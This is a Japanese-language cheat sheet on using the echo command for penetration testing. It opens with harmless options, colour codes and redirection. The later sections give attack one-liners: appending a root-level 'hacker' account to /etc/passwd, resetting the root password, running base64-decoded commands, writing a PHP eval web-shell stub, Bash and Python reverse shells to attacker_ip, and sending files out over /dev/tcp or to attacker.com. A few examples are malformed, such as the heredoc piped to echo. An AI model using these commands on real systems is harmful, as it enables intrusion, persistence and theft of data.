echoのペネトレーションテストにおける利用

echoのよくあるオプション

基本オプション

bash
# -n: 末尾の改行文字を出力しない
echo -n "Hello"  # 出力: Hello
echo "Hello"     # 出力: Hello\n

# -e: エスケープシーケンスを有効にする
echo -e "Hello\nWorld"  # 出力: Hello
                        # World

# -E: エスケープシーケンスを無効にする（デフォルト）
echo -E "Hello\nWorld"  # 出力: Hello\nWorld

# よく使うエスケープシーケンス
echo -e "\a"     # ベル
echo -e "\b"     # バックスペース
echo -e "\c"     # 改行しない
echo -e "\f"     # 改ページ
echo -e "\n"     # 改行
echo -e "\r"     # 復帰
echo -e "\t"     # 水平タブ
echo -e "\v"     # 垂直タブ
echo -e "\\"     # バックスラッシュ

色付き出力

bash
# テキストの色
echo -e "\033[31m赤文字\033[0m"    # 赤
echo -e "\033[32m緑文字\033[0m"    # 緑
echo -e "\033[33m黄文字\033[0m"    # 黄
echo -e "\033[34m青文字\033[0m"    # 青
echo -e "\033[35m紫文字\033[0m"    # 紫
echo -e "\033[36mシアン文字\033[0m"    # シアン

# 背景の色
echo -e "\033[41m赤背景\033[0m"    # 赤背景
echo -e "\033[42m緑背景\033[0m"    # 緑背景
echo -e "\033[43m黄背景\033[0m"    # 黄背景

# テキストスタイル
echo -e "\033[1m太字\033[0m"     # 太字
echo -e "\033[4m下線\033[0m"   # 下線
echo -e "\033[5m点滅\033[0m"     # 点滅

フォーマット済み出力

bash
# 変数の利用
name="World"
echo "Hello $name"      # 出力: Hello World
echo "Hello ${name}"    # 出力: Hello World

# コマンド置換
echo "現在時刻: $(date)"
echo "現在時刻: `date`"

# 特殊文字のエスケープ
echo "This is a \$dollar sign"    # 出力: This is a $dollar sign
echo "This is a \"quote\""        # 出力: This is a "quote"

ファイル操作オプション

bash
# ファイルへの追記
echo "new line" >> file.txt

# ファイルの上書き
echo "new content" > file.txt

# 複数行ファイルの作成
echo -e "line1\nline2\nline3" > multiline.txt

# hereドキュメントの使用
echo << EOF > file.txt
line1
line2
line3
EOF

echoによる文字列表示

bash
echo "Hello ICTRUN"
 Hello ICTRUN

echo "$str" Good Evening 
 Good Evening

ipv4 ipforwardの有効化

bash
echo 1 > /proc/sys/net/ipv4/ip_forward

root権限ユーザーの追加

bash
echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd

rootパスワードの変更

bash
echo "root:newpassword" | chpasswd

echo -eを用いたパスワードの非対話型変更

bash
echo -e "newpassword\nnewpassword" | passwd username

base64と組み合わせたコマンド実行

bash
echo "whoami" | base64
echo "d2hvYW1pCg==" | base64 -d | bash

Base64を用いた1.phpへのPHPワンライナーの書き込み

bash
echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php

リバースシェル

bash
# Bashリバースシェル
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash

# Pythonリバースシェル
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash

ファイル操作

bash
# ファイルの作成
echo "content" > file.txt

# 内容の追記
echo "more content" >> file.txt

# ファイルのクリア
echo "" > file.txt

環境変数の操作

bash
# 環境変数の設定
echo "export PATH=/new/path:$PATH" >> ~/.bashrc

# プロキシ設定の追加
echo "export http_proxy=http://proxy:port" >> ~/.bashrc

システム設定の変更

bash
# システム制限の変更
echo "* soft nofile 65535" >> /etc/security/limits.conf

# カーネルパラメータの変更
echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

ファイル転送

ファイル送信

bash
# 方法1：ncを使用
export LFILE=/tmp/1.tar.gz
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'

# 方法2：base64を使用
cat file.txt | base64 | echo "$(cat -)" > file.txt.b64

ファイル受信

bash
# 方法1：ncを使用
nc -v -l -p 4422 > 1.tar.gz

# 方法2：base64を使用
cat file.txt.b64 | base64 -d > file.txt

ファイル転送のその他の方法

bash
# curlを用いたファイルアップロード
echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"

# wgetを用いたファイルダウンロード
echo "wget http://attacker.com/file -O /path/to/save"